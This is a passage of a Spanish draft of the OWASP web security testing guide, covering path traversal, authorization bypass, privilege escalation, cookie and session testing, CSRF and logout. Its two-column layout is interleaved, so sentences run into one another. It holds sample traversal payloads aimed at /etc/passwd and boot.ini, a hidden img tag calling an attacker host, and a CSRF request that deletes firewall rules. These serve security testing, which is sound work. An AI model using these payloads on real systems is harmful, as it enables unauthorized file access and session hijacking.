contrasea sin solicitar la contrasea actual. De hecho, si un atacante es web que ofrece diferentes funcionalidades de la misma organizacin, un sitio
capaz de tomar el control de una sesin vlida, podra cambiar fcilmente web de un socio con el que se comparten cuentas de usuario)
la contrasea de la vctima.
Desarrollo, prueba, UAT y puesta en escena de las versiones de la pgina
web estndar
OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery Operadores de centros de llamadas (call center)
https://www.example.com/myaccount/
Reestablecer Si Si -
Cmo probar
contrasea
Revise y pruebe
Los canales alternativos deben mencionarse en el informe de prueba, Tradicionalmente, los servidores web y aplicaciones web implementan
incluso si estn marcados como "solo informativos" y/o "fuera del mecanismos de autenticacin para controlar el acceso a archivos y
alcance". En algunos casos, el alcance de la prueba podra incluir el canal recursos. Los servidores web tratan de limitar los archivos de los
alternativo (por ejemplo, porque es una ruta en el nombre del usuarios dentro de un "directorio raz" o "raz del documento web ", que
alojamiento de destino), o pueden aadirse al mbito despus de la representa un directorio fsico en el sistema de archivos. Los usuarios
discusin con los dueos de los canales. Si la prueba se permite y deben considerar este directorio como el directorio base en la estructura
autoriza, entonces todas las otras pruebas de autenticacin en esta gua jerrquica de la aplicacin web.
deben realizarse y compararse con el canal primario.
Remediacin
Asegrese de que se aplique una poltica de autenticacin consistente en Muchas aplicaciones web utilizan secuencias de comandos de servidor
todos los canales para que sean igualmente seguros. para incluir diferentes tipos de archivos. Es muy comn utilizar este
mtodo para administrar imgenes, plantillas, cargar textos estticos y
as sucesivamente. Desafortunadamente, estas aplicaciones exponen las
vulnerabilidades de seguridad si los parmetros de entrada (es decir,
Cmo probar la autorizacin parmetros de los formularios, valores de cookies) no son validados
correctamente.
Autorizacin es el concepto de permitir acceso a los recursos, slo a
aquellos permitidos para utilizarlos. Probando la autorizacin significa
comprender cmo funciona el proceso de autorizacin y usar esa
informacin para eludir el mecanismo de autorizacin. En servidores web y aplicaciones web, este tipo de problemas se presenta
en ataques path de inclusin de archivos de circulacin. Mediante la
explotacin de este tipo de vulnerabilidad, un atacante es capaz de leer
directorios o archivos que normalmente no puede leer, acceder a los
La autorizacin es un proceso que viene despus de una autenticacin
datos fuera de la raz de documentos web o incluir secuencias de
correcta, por lo que el evaluador verifica este punto despus de tener
comandos y otros tipos de archivos desde sitios web externos.
credenciales vlidas, asociadas a un conjunto bien definido de roles y
privilegios. En este tipo de evaluacin, se debe verificar si es posible
eludir el esquema de autorizacin, encontrando una vulnerabilidad de
ruta de circulacin, o encontrar maneras de aumentar los privilegios Para el propsito de la gua de pruebas OWASP, slo las amenazas de
asignados al evaluador. seguridad relacionadas con aplicaciones web se considerarn y no las
amenazas a servidores web (por ejemplo, la infame "%5 escape c code"
en el servidor web IIS de Microsoft). Ms sugerencias de lectura se
proveern en la seccin de referencias para los lectores interesados.
Probar la inclusin de archivos de directorio de circulacin(OTG-
AUTHZ-001)
Resumen
Este tipo de ataque es tambin conocido como el ataque de punto-punto-
slash (dot-dot-slash) (... /), salto de directorio, escalada de directorio o
Muchas aplicaciones web usan y administran archivos como parte de su
retroceso.
operacin diaria. Usando mtodos de validacin de entrada que no han
sido bien diseados o implementados, un agresor podra aprovechar el
sistema para leer o escribir archivos que no estn diseados para ser
accesibles. En situaciones particulares, podra ser posible ejecutar un
cdigo arbitrario o comandos del sistema.
TEMPLATE=flower
(a) Enumeracin de Vectores de Entrada (una evaluacin sistemtica de
cada vector de entrada)
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
(b) Tcnicas de Pruebas (una evaluacin metdica de cada tcnica de
ataque, utilizada por un atacante para explotar la vulnerabilidad)
Tcnicas de pruebas
Cmo probar
La siguiente etapa de la prueba es analizar las funciones de validacin de
Prueba de Caja Negra entrada presentes en la aplicacin web. Usando el ejemplo anterior, la
pgina dinmica llamada getUserProfile.jsp carga informacin esttica de
Enumeracin de vectores de entrada un archivo y muestra el contenido a los usuarios. Un atacante podra
insertar la cadena maliciosa "... /.. /.. /.. / etc/passwd" para incluir el
Con el fin de determinar qu parte de la aplicacin es vulnerable a eludir archivo de contraseas hash de un sistema Linux/UNIX. Obviamente, este
la validacin de entrada, el evaluador debe enumerar todas las partes de tipo de ataque slo es posible si el punto de control de validacin falla.
la aplicacin que aceptan el contenido por parte del usuario. Esto tambin Segn los privilegios de sistema de archivos, la aplicacin web debe ser
incluye consultas HTTP GET y POST y opciones comunes como carga de capaz de leer el archivo.
archivos y formularios HTML.
http://example.com/index.php?file=content
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
http://example.com/main.cgi?home=index.htm
directory separator: :
El siguiente ejemplo demostrar cmo es posible mostrar el cdigo fuente Debemos tomar en cuenta los mecanismos de codificacin de los
de un componente CGI, sin utilizar los caracteres de ruta de circulacin. siguientes caracteres:
http://example.com/main.cgi?home=main.cgi
URL encoding and double URL encoding
Sugerencia: Es un error comn de los programadores no esperar todas %252e%252e%255c represents ..\
las formas de codificacin y, por lo tanto, solo hacer validacin de
contenido codificado bsico. Si al principio la secuencia de la prueba no es ..%255c represents ..\ and so on.
exitosa, pruebe con otro esquema de codificacin.
Marcadores extraos del directorio parental con elementos arbitrarios que Puede ser equivalente a una letra de unidad como c:\, o incluso a un
pueden o no existir volumen de disco sin una letra asignada.
\\.\GLOBALROOT\Device\HarddiskVolume1\
Ejemplos:
file.txt
file.txt...
Se refiere a la primera unidad de disco en la mquina.
file.txt<spaces>
file.txt \\.\CdRom0\
file.txt<<<>>><
./././file.txt
\\?\server_or_ip\path\to\file.abc
lang:php (include|require)(_once)?\s*[(]?\s*\$_(GET|POST|COOKIE)
Windows NT Device Namespace: Se utiliza para referirse al espacio de
nombres de dispositivo de Windows. Ciertas referencias permiten el acceso
a sistemas de archivos utilizando una ruta diferente.
code.google.com
Usando el mtodo de pruebas de Caja Gris, es posible descubrir las Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],
vulnerabilidades que son generalmente ms difciles de hallar, o incluso
imposibles de encontrar durante una evaluacin estndar de la Caja OWASP: Zed Attack Proxy (ZAP)[5])
Negra.
Enconding/Decoding tools
file=....//....//boot.ini
Pruebas para eludir el esquema de autorizacin (OTG-AUTHZ-002)
file=....\\....\\boot.ini
Resumen
file= ..\..\boot.ini
Este tipo de prueba se centra en comprobar cmo se implement el
esquema de autorizacin para que cada rol o privilegio obtenga acceso a
funciones reservadas y recursos.
Herramientas
Para cada rol especfico que el evaluador tiene durante la evaluacin, para
DotDotPwn - The Directory Traversal Fuzzer:
cada funcin y solicitud que la aplicacin ejecuta durante la fase posterior
dotdotpwn.sectester.net a la autenticacin, es necesario verificar:
Es posible acceder a ese recurso, incluso si el usuario no est Qu sucede si un usuario no administrativo intenta ejecutar esa
autenticado? peticin? Se crear el usuario? Si es as, puede utilizar sus privilegios
del nuevo usuario?
Es posible tener acceso a ese recurso despus de la desconexin?
Es posible acceder a las funciones y los recursos que deben ser accesibles
a un usuario que tiene un rol diferente o un privilegio? Pruebas para buscar el acceso a los recursos asignados a un rol
diferente
Cmo probar
Pruebas para buscar el acceso a funciones administrativas Pruebas para determinar el escalamiento de privilegios (OTG-AUTHZ-
003)
Por ejemplo, suponga que la funcin 'AddUser.jsp' es parte del men
administrativo de la aplicacin, y es posible acceder a l al solicitar la Resumen
siguiente URL:
Esta seccin describe el problema del escalamiento de privilegios de una
etapa a otra. Durante esta fase, el evaluador deber verificar que no es
https://www.example.com/admin/addUser.jsp posible para un usuario modificar sus privilegios o roles dentro de la
aplicacin, de manera que podra permitir ataques de escalada de
privilegios.
HTTP/1.1 200 OK
Generalmente, las personas se refieren al escalamiento vertical cuando es
Server: Netscape-Enterprise/6.0
posible tener acceso a recursos en cuentas ms privilegiadas (por
ejemplo, adquirir privilegios administrativos para la aplicacin) y en
Date: Wed, 1 Apr 2006 13:51:20 GMT
escalamiento horizontal cuando es posible acceder a los recursos de una
cuenta configurada de manera similar (por ejemplo, en una aplicacin de
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/;
banca en lnea, al acceder a la informacin relacionada con un usuario
domain=www.example.com
diferente).
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain=
www.example.com
userID=fakeuser&role=3&group=grp001
Por ejemplo:
Por ejemplo:
Cmo probar
Tools
OWASP WebScarab: OWASP WebScarab Project A continuacin se muestran varios escenarios tpicos para esta
vulnerabilidad y los mtodos de prueba para cada uno:
OWASP Zed Attack Proxy (ZAP)
Las Referencias de Objetos Directos Inseguros permiten a los atacantes En este caso, el valor del parmetro de la factura se utiliza como un ndice
omitir la autorizacin y acceder a los recursos modificando directamente en una tabla de facturas en la base de datos. La aplicacin toma el valor de
Solicitud de muestra:
El valor de un parmetro se utiliza directamente para acceder a la
funcionalidad de la aplicacin
http://foo.bar/changepassword?user=someuser
solicitud de muestra
http://foo.bar/accessPage?menuitem=12
Referencias
OWASP Top 10 2013-A4-Insecure Direct Object References atacante que es capaz de predecir y falsificar una cookie dbil, fcilmente
puede secuestrar las sesiones de usuarios legtimos.
Manipulacin de cookies: falsificar una cookie vlida para llevar a cabo el ataque. Navegue por la aplicacin. Note cundo se crean las cookies. Haga una
Este ltimo paso podra requerir un gran nmero de intentos, dependiendo de cmo lista de las cookies recibidas, la pgina que las establece (con la directiva
la cookie haya sido creada (ataque de fuerza bruta de cookie). set-cookie), el dominio para el cual son vlidas, su valor y sus
caractersticas.
Cmo probar
Qu eventos modificaron la cookie?
Prueba de Caja Negra y ejemplos
Son las cookies que se esperan sean transitorias configuradas como tal? Anlisis de la sesin
u ajustes HTTP/1.1 Cache-Control se utilizan para proteger las cookies? Las fichas (tokens) de sesin (cookies, ID de la sesin o campo oculto)
deben ser examinadas para asegurar su calidad desde una perspectiva de
u ajustes HTTP/1.0 Cache-Control se utilizan para proteger las cookies? seguridad. Deben ser evaluadas segn criterios como su aleatoriedad,
singularidad, resistencia al anlisis estadstico y criptogrfico y fuga de
informacin.
Coleccin de cookies
El primer paso requerido para manipular una cookie es entender cmo la Estructura de los indicadores y fuga de informacin
aplicacin crea y gestiona las cookies. Para esta tarea, los evaluadores
tienen que intentar contestar las siguientes preguntas: La primera etapa es examinar la estructura y el contenido de un
Identificador de Sesin proporcionada por la aplicacin. Un error comn
es incluir datos especficos en el indicador, en lugar de emitir un valor
genrico y hacer referencia a datos reales en el lado del servidor.
Cuntas cookies son utilizadas por la aplicacin?
Una vez identificado el tipo de ofuscacin, es posible descifrar los datos u patrones obvios estn presentes en el identificador de sesin como un
originales. En la mayora de los casos, sin embargo, esto es improbable. todo o en porciones individuales?
De todas formas, puede ser til enumerar la codificacin en el sitio desde
el formato del mensaje. Adems, si se deduce la tcnica del formato y de
la ofuscacin, podran realizarse ataques de fuerza bruta automatizados.
Previsibilidad y aleatoriedad del identificador de sesin
El anlisis de las zonas variables (si las hay) del identificador de sesin
Las fichas hibridas pueden incluir informacin como direccin IP o ID de deberan realizarse para establecer la existencia de cualquier patrn
usuario junto con una porcin codificada, como los siguientes: reconocible o predecible. Estos anlisis pueden ser realizados
manualmente y con herramientas diseadas a la medida u OTS
estadsticas o de criptoanlisis para deducir cualquier patrn en el
owaspuser:192.168.100.1: contenido del identificador de sesin. Los controles manuales deberan
incluir comparaciones del identificador de sesin emitidas con las
a7656fafe94dae72b1e1487670148412 mismas condiciones del inicio de sesin; por ejemplo, el mismo nombre
de usuario, contrasea y direccin IP.
absoluto o relativo, deben ser investigados. Muchos sistemas utilizan al sesin). Para hacer una cookie impredecible, pueden utilizarse valores
tiempo como una semilla para sus elementos seudoaleatorios. aleatorios o criptografa.
[1] Imprevisibilidad: una cookie debe contener cierta cantidad de datos El tiempo registrado podra ser la hora local o la marca de tiempo del
dificiles de adivinar. Mientras ms difcil sea falsificar una cookie vlida, servidor incluido en la respuesta HTTP (o ambos).
ms difcil ser entrar en la sesin de un usuario legtimo. Si un atacante
puede adivinar la cookie utilizada en una sesin activa de un usuario
legtimo, podrn suplantar totalmente a ese usuario (secuestro de
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145
Cunto tiempo tomara un ataque de fuerza bruta en todos los posibles
21:S=j3am5KzC4v01ba3q identificadores de sesin?
Este ejemplo muestra cinco campos diferentes, que llevan diferentes El retraso entre los intentos de conexin con diferentes identificadores de
tipos de informacin: sesin mitigan el riesgo de este ataque?
ID hexadecimal
Pruebas de Caja Gris
CR entero pequeo
Si el evaluador tiene acceso al esquema de gestin de sesin de la
TM y LM entero grande ( y curiosamente tienen el mismo valor. aplicacin, puede comprobar lo siguiente:
Vale la pena ver lo que ocurre al modificar uno de ellos).
S alfanumrico
Sesin con una ficha al azar
El identificador de sesin debe tener una longitud de al menos 50 Darrin Barrall: Automated Cookie Analysis: rmccurdy.com
caracteres.
ENT: fourmilab.ch
seclists.org
Duracin de la sesin
Gunter Ollmann: Web Based Session Management - technicalinfo.net
La ficha de sesin debe tener una duracin definida (que depende de la
criticidad de los datos de la aplicacin administrada). Matteo Meucci:MMS Spoofing: owasp.org
HTTPOnly (no legible mediante un script): Descripcin de las vulnerabilidades en la gestin de sesin
Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly Vea los artculos sobre vulnerabilidades en la gestin de la sesin OWASP.
Mas informacin aqu: Probando los atributos de las cookies Descripcin de las defensas de la gestin de sesin
Herramientas
OWASP Zed Attack Proxy Project (ZAP): owasp.org - features a session Cmo evitar las vulnerabilidades de la gestin de sesin
token analysis mechanism.
Vea los artculos sobre cmo evitar las vulnerabilidades de la gestin de
Burp Sequencer: portswigger.net sesin de OWASP.
YEHGs JHijack: owasp.org Cmo revisar el cdigo en busca de vulnerabilidades en la gestin de sesin
Libros Blancos
Pruebas de los atributos de las cookies (OTG-SESS-002)
RFC 2965 HTTP State Management Mechanism
Resumen
RFC 1750 Randomness Recommendations for Security
Las cookies son a menudo un vector de ataque clave para usuarios
Michal Zalewski: Strange Attractors and TCP/IP Sequence Number maliciosos (normalmente dirigidas hacia otros usuarios) y la aplicacin
Analysis (2001): lcamtuf.coredump.cx siempre debe tomar las debidas diligencias para proteger las cookies. Esta
seccin examina cmo una aplicacin puede tomar las precauciones
Michal Zalewski: Strange Attractors and TCP/IP Sequence Number necesarias al asignar las cookies y cmo se prueba que estos atributos se
Analysis - One Year Later (2002): lcamtuf.coredump.cx han configurado correctamente.
Dominio - este atributo se utiliza para comparar contra el dominio del servidor
en el que se solicita la direccin URL. Si el dominio coincide o si es un
Mientras un usuario aade varios elementos a un carro de compras, estos subdominio, entonces el atributo de ruta de acceso se comprobar a
datos deben conservarse en las solicitudes posteriores a la aplicacin. Las continuacin.
cookies son muy utilizadas para esta tarea y son configuradas por la
aplicacin utilizando la directiva Set-Cookie en la respuesta HTTP de la
aplicacin y est generalmente en un formato name=value (si las cookies
Note que slo los hosts dentro del dominio especificado pueden
se encuentran activadas y si son compatibles, como es el caso para todos
establecer una cookie para ese dominio. Tambin note que el atributo del
los navegadores modernos). Una vez que una aplicacin le ha dicho al
dominio no puede ser un dominio de nivel superior (como .gov o .com)
navegador que utilice una cookie determinada, el navegador enviar esta
para evitar que los servidores configuren arbitrariamente cookies para
cookie en cada solicitud subsiguiente. Una cookie puede contener datos
otro dominio. Si no se establece el atributo de dominio, el nombre del
tales como los elementos de un carro de compras en lnea, el precio de
servidor host que genera la cookie se utiliza como el valor por defecto del
estos artculos, la cantidad de estos artculos, informacin personal,
dominio.
identificador de usuarios, etc.
ligeramente (por ejemplo midominio.com), entonces el servidor permitira a un atacante utilizar un servidor vulnerable en el dominio para
vulnerable podra ser utilizado para cosechar las cookies (como las fichas cosechar la cookie del usuario a travs de una vulnerabilidad como XSS.
de sesin).
Atributo de Ruta - Verifique que el atributo de ruta, as como el atributo del
dominio, no han sido establecidos muy libremente. Incluso si el atributo del
dominio ha sido configurado tan firmemente como es posible, si la ruta de
Ruta (path) - Adems del dominio, la ruta de la URL en la que la cookie es acceso se establece hacia el directorio raz "/" entonces puede ser vulnerable a
vlida puede especificarse. Si coincide el dominio y la ruta, la cookie se aplicaciones menos seguras en el mismo servidor. Por ejemplo, si la aplicacin
enviar en la solicitud. Al igual que con el atributo de dominio, si se reside en /myapp/, compruebe que la ruta de cookies est ajustada a
establece el atributo de ruta de acceso muy ligeramente, entonces podra ";path=/myapp/" y no a ";path =/" o ";path =/myapp". Note aqu que el ruteador
dejar a la aplicacin vulnerable a los ataques de otras aplicaciones en el "/" debe ser utilizado despus de myapp. Si no se utiliza, el navegador enviar la
mismo servidor. cookie a cualquier ruta que coincida con "myapp", tal como "myapp-exploited".
Por ejemplo, si el atributo de la ruta de acceso se establece en la raz del Atributo de Caducidad - Si este atributo se establece en un momento en el
servidor web "/", entonces se enviarn las cookies de la aplicacin para cada futuro, verifique que la cookie no contenga ninguna informacin sensible. Por
aplicacin dentro del mismo dominio. ejemplo, si una cookie se establece en ; expires=Sun, 31-Jul-2016 13:45:29
GMT y actualmente es 31 de julio de 2014, entonces el evaluador debe
caduca (expires) - este atributo se utiliza para configurar cookies inspeccionar la cookie. Si la cookie es una ficha de sesin que se almacena en el
persistentes, puesto que la cookie no caduca hasta que se supera la fecha disco duro del usuario, entonces un atacante o un usuario local (como un
establecida. Esta cookie persistente se utilizar en esta sesin y en sesiones administrador) que tiene acceso a esta cookie puede acceder a la aplicacin
posteriores hasta que la cookie caduque. Una vez que ha superado la fecha reenviando esta ficha hasta que pase la fecha de caducidad.
de caducidad, el navegador borrar la cookie. Alternativamente, si no se
establece este atributo, entonces la cookie slo es vlida en la sesin actual
del navegador y la cookie se eliminar cuando finalice la sesin.
Herramientas
Intercepting Proxy:
Cmo probar
OWASP Zed Attack Proxy Project
Prueba de Caja Negra
Atributo seguro - cada vez que una cookie contiene informacin sensible o es
una ficha de sesin, siempre debe ser pasada mediante un tnel encriptado. Por Referencias
ejemplo, despus de iniciar la sesin en una aplicacin y haber establecido una
Libros Blancos
ficha de sesin mediante una cookie, verifique si est etiquetada con una bandera
de "seguridad";. Si no es as, entonces el navegador estar de acuerdo en pasar a
RFC 2965 - HTTP State Management Mechanism: tools.ietf.org
travs de un canal sin encriptar, usando HTTP, y esto podra permitir a un
atacante dirigir a los usuarios a enviar sus cookies por un canal inseguro.
RFC 2616 - Hypertext Transfer Protocol - HTTP 1.1: tools.ietf.org
Atributo HttpOnly - Este atributo debera fijarse siempre, a pesar de que no
The important expires attribute of Set-Cookie
todos los navegadores lo soportan. Este atributo ayuda a proteger la cookie del
http://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html
acceso de un script del lado del cliente, no elimina el riesgo de scripts de sitios
cruzados, pero elimina algunos vectores de explotacin. Verifique si la etiqueta
HttpOnly Session ID in URL and Page Body
"HttpOnly" ha sido fijada.
http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1;
Path=/; secure
Las vulnerabilidades de fijacin de sesin ocurren cuando:
Cache-Control: no-cache=set-cookie,set-cookie2
Cmo probar
GET www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Server: Apache/2.2.2 (Fedora)
Gecko/20080702 Firefox/2.0.0.16
X-Powered-By: PHP/5.1.6
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain; Content-language: en
q=0.8,image/png,*/*;q=0.5
Cache-Control: private, must-revalidate, max-age=0
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
X-Content-Encoding: gzip
Accept-Encoding: gzip,deflate
Content-length: 4090
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Keep-Alive: 300
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
...
Referer: http://www.example.com
HTML data
Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1
Content-Type: application/x-www-form-urlencoded
Como ninguna cookie nueva ha sido emitida tras una autenticacin
Content-length: 57
exitosa, el evaluador sabe que es posible realizar un secuestro de sesin.
Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in
Resultado esperado: El evaluador puede enviar un identificador de sesin
vlido a un usuario (posiblemente usando un truco de ingeniera social),
esperar a que l se autentique y verificar posteriormente que los
privilegios han sido asignados a esta cookie.
El evaluador observa la siguiente respuesta del servidor:
Herramientas
Resultado esperado:
Protocol used (e.g., HTTP vs. HTTPS) Cada vez que la autenticacin es exitosa, el usuario debe esperar recibir:
HTTP Headers
Message Body (e.g., POST or page content) Una ficha de sesin diferente
Una ficha enviada a traves de un canal encriptado cada vez que se hace una
solicitud HTTP
Cada vez que los datos del identificador de sesin pasan entre el cliente y
el servidor, el protocolo, cach, las directivas y cuerpo de privacidad
deben ser revisadas. La seguridad del transporte se refiere a la
Para probar las vulnerabilidades de proxys y cach
circulacin del identificador de sesin por peticiones GET o POST, cuerpo
de los mensajes u otros medios, mediante solicitudes HTTP vlidas.
Los proxys tambin debe considerarse al revisar la seguridad de las
aplicaciones. En muchos casos, los clientes accedern a la aplicacin a
travs del ISPcorporativo y los proxies o gateways conscientes del
Cmo probar protocolo, (por ejemplo, Firewalls). El protocolo HTTP proporciona
Todo cdigo del lado del servidor que recibe datos de solicitudes POST
En general, el identificador de sesin nunca debe ser enviado mediante debe ser analizado para asegurarse que no acepte los datos si se enva
un transporte no encriptado y no debe almacenarse en cach. La como una solicitud GET. Por ejemplo, considere la siguiente peticin
aplicacin debe ser examinada para asegurarse que las comunicaciones POST, generada por una pgina de registro.
encriptadas sean tanto la norma como el que sean reforzadas para
cualquier transferencia de identificadores de sesin. Adems, cada vez
POST https://owaspapp.com/login.asp HTTP/1.1
que se pasa el identificador de sesin, las directivas deben estar colocadas
para evitar su almacenamiento en cach por cachs intermedios e incluso
Host: owaspapp.com
locales.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2)
Gecko/20030208 Netscape/7.02 Paros/3.0.2b
La aplicacin debe configurarse tambin para asegurar los datos en Accept: */*
cach, tanto en HTTP/1.0 y HTTP/1.1 RFC 2616 discute los controles
adecuados en cuanto a HTTP. HTTP/1.1 proporcionando una serie de Accept-Language: en-us, en
mecanismos de control de cach. Control-Cache: no-cache indica que un
proxy no debe volver a utilizar los datos. Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Whilst Cache-Control: Private parece ser una directiva adecuada. Esto Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG
permite a un proxy no compartido acceder a los datos del cach. En el
caso de caf net u otros sistemas compartidos, esto presenta un riesgo Cache-Control: max-age=0
evidente. Incluso con estaciones de trabajo monousuario, el identificador
de sesin almacenada en cach puede quedar expuesto si el sistema de Content-Type: application/x-www-form-urlencoded
archivos se encuentra comprometido o si se utilizan cadenas de tiendas.
Los Cachs de HTTP/1.0 no reconocen la directiva de Cache-Control: no- Content-Length: 34
cache.
Login=Username&password=Password&SessionID=12345678
Resultado esperado:
Cmo se transfieren los identificadores de sesin, por ejemplo, GET, [3] La gestin de sesin de la aplicacin basada nicamente en la
POST, Form Field(incluyendo campos ocultos)? informacin que es conocida por el navegador;
Son los identificadores de sesin enviados siempre a travs de [4] La existencia de etiquetas HTML cuya presencia permite un acceso
transporte encriptado por defecto? inmediato a un recurso http[s]; por ejemplo, la etiqueta de imagen img.
RFC 2616 - Hypertext Transfer Protocol - HTTP/1.1: ietf.org Punto 2) Si la aplicacin no hace uso de la informacin relacionada con la
sesin en las URL, entonces significa que las URL de la aplicacin, sus
parmetros y valores legtimos pueden identificarse (ya sea por el
anlisis de cdigo o accediendo a la aplicacin y tomando nota de los
Pruebas de un CSRF (OTG-SESS-005)
formularios y direcciones URL incrustadas en el HTML/JavaScript).
Resumen
<html><body>
...
...
por el usuario, que est utilizando la aplicacin web misma;
conocida por el atacante y, por lo tanto, sea imposible la identificacin de configuracin si el usuario introduce '*' (una caracterstica peligrosa,
esas URL. pero que har que el ejemplo sea ms interesante). La pgina de
eliminacin se muestra a continuacin. Supongamos que el formulario
por simplicidad emite una solicitud GET, que tendr la forma:
Las cosas pueden ofuscarse ms mediante la referencia de la imagen (para eliminar la regla nmero uno)
aparentemente vlida de la URL como:
https://[target]/fwmgt/delete?rule=*
<img src=https://[attacker]/picture.gif width=0 height=0>
Escenario de ejemplo
con el efecto de eliminar todas las reglas del firewall (y terminar en una
situacin posiblemente inconveniente).
Cmo probar
Para una prueba de Caja Negra, el evaluador debe conocer las direcciones
URL en el rea restringida (autenticada). Si poseen credenciales vlidas,
pueden asumir ambos roles el de agresor y el de vctima. En este caso,
los evaluadores saben las URL a probar solo con hojear alrededor de la
aplicacin.
Construya una pgina html que contenga la solicitud http que hace referencia
a la URL 'u' (especificando todos los parmetros relevantes; en el caso de una
En todos estos casos, si el usuario tiene iniciada una sesin en la
solicitud http GET esto es directo, mientras que para una solicitud POST
aplicacin de administracin del firewall, la peticin tendr xito y
necesita recurrir a algunos Javascript);
modificar la configuracin del firewall. Uno puede imaginar los ataques
contra aplicaciones sensibles y lograr hacer pujas u ofertas en subastas Asegrese de que el usuario se encuentra registrado en la aplicacin;
automticas, transferencias de dinero, rdenes, cambiar la configuracin
de componentes de software crtico, etc. Induzca al usuario a seguir el enlace apuntando a la URL a probar (involucre
ingeniera social si usted no puede suplantar al usuario);
Los recursos accesibles a travs de peticiones HTTP GET son fcilmente No utilice el mismo navegador para acceder a aplicaciones sensibles y
vulnerables, aunque las peticiones POST se pueden automatizar va para navegar libremente por Internet. Si es necesario, haga ambas cosas
Javascript y son vulnerables tambin, por lo tanto, el uso exclusivo de en la misma mquina y con distintos navegadores.
solicitudes POST no es suficiente para corregir la aparicin de
vulnerabilidades CSRF.
Referencias
Otras defensas, mientras no resuelvan el problema, contribuyen a hacer
Libros Blancos
ms difcil la explotacin:
Vea la gua de revisin de cdigo de OWASP sobre cmo Revisar las A los usuarios de navegadores web a menudo no les importa que una
vulnerabilidades CSRF. aplicacin est todava abierta y simplemente cierran el navegador o la
pestaa. Una aplicacin web debe considerar este comportamiento y
terminar la sesin automticamente del lado del servidor despus de un
tiempo definido.
Cmo prevenir vulnerabilidades CSRF
Resumen
El cierre de sesin es una parte importante del ciclo de vida de la sesin. Navegar de vuelta hacia el portal SSO ofrece al usuario la posibilidad de
Reducir al mnimo la vida til de las fichas de sesin disminuye la volver a iniciar una sesin en la aplicacin donde la sesin fue terminada
probabilidad de un ataque de secuestro de sesin exitoso. Esto puede poco antes. Por otro lado, una funcin de registro en un sistema SSO no
verse como un control contra la prevencin de otros ataques como el necesariamente causa el cierre de sesin en las aplicaciones
Cross Site Scripting (CSS) o Cross Site Request Forgery (CSRF). Se conoce interconectadas.
que este tipo de ataques dependen de que un usuario tenga una sesin
autenticada en ese momento. No tener una terminacin de sesin segura
slo aumenta la superficie de ataque para cualquiera de estos ataques.
Cmo probar
Hay mltiples cuestiones que pueden prevenir la terminacin eficaz de Un botn de cierre de sesin est presente en todas las pginas de la
una sesin. Para la seguridad ideal de la aplicacin web, un usuario debe aplicacin web.
ser capaz de terminar en cualquier momento a travs de la interfaz de
usuario. Cada pgina debe contener un botn de cierre de sesin en un El botn de cierre de sesin debe ser rpidamente identificable por un
lugar directamente visible. Las funciones de cierre de sesin confusas o usuario que quiere desconectarse de la aplicacin web.
ambiguas podran causar desconfianza en el usuario sobre dicha
funcionalidad. Despus de cargar una pgina, el botn de cierre de sesin debe ser visible
sin desplazamiento.
Otro error comn en la terminacin de la sesin es que en la ficha de
sesin del cliente se establece un nuevo valor, mientras que en el estado Idealmente, el botn de cierre de sesin debe ubicarse en una zona fija
del servidor permanece activa y puede ser reutilizada restableciendo la dentro de la pantalla visible del navegador y no debe verse afectada por el
cookie de sesin al valor anterior. A veces slo se muestra un mensaje de desplazamiento del contenido.
confirmacin al usuario sin que tenga que realizar ninguna accin
adicional. Esto debe evitarse.
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
144
Guia de pruebas 4.0 "Borrador"
Para probar el cierre de sesin desde el servidor: El valor apropiado para el tiempo de caducidad de la sesin depende del
propsito de la aplicacin y debe ser un equilibrio entre seguridad y
Primeramente, almacene los valores de las cookies que se utilizan para usabilidad. En las aplicaciones bancarias, no tiene sentido mantener una
identificar una sesin. Invoque la funcin de cierre de sesin del usuario y sesin inactiva ms de quince minutos. Por otro lado, un tiempo corto de
observe el comportamiento de la aplicacin, especialmente en relacin espera en un wiki o un foro podra molestar a los usuarios que estn
con las cookies de sesin. Intente navegar hacia una pgina que slo es escribiendo artculos largos con solicitudes de registro innecesarias. All,
visible dentro de una sesin autenticada, por ejemplo, el uso del botn de los tiempos de espera de una hora o ms pueden ser aceptables.
regresar del navegador.
Si estas pruebas no muestran vulnerabilidades en alguna pgina en Compruebe si la aplicacin solicita al usuario su autenticacin; si solicita
particular, pruebe al menos algunas pginas ms de la aplicacin que se una direccin URL de un punto de entrada a la aplicacin. Habiendo
consideran crticas para la seguridad, para garantizar que la terminacin iniciado una sesin en la aplicacin probada, realice un cierre de sesin
de la sesin es reconocida correctamente por estas reas de la aplicacin. en el sistema SSO. Intente acceder a un rea autenticada de la aplicacin
probada.
Resultado esperado:
Resultado esperado:
Ningn dato que debera ser visible nicamente por usuarios
autenticados debe ser visibles en las pginas examinadas al realizar las Se espera que la invocacin de una funcin de cierre de sesin en una
pruebas. Idealmente, la aplicacin debe redirigirse a una zona pblica o a aplicacin web conectada a un sistema SSO, o en el mismo sistema SSO,
un formulario de registro al acceder a reas autenticadas despus del cause el cierre global de todas las sesiones. Una autenticacin del usuario
cierre de la sesin. No debera ser necesario para la seguridad de la debera ser necesaria para acceder a la aplicacin despus del cierre de la
aplicacin, pero establecer nuevos valores para las cookies de sesin sesin en el sistema SSO y la aplicacin conectada.
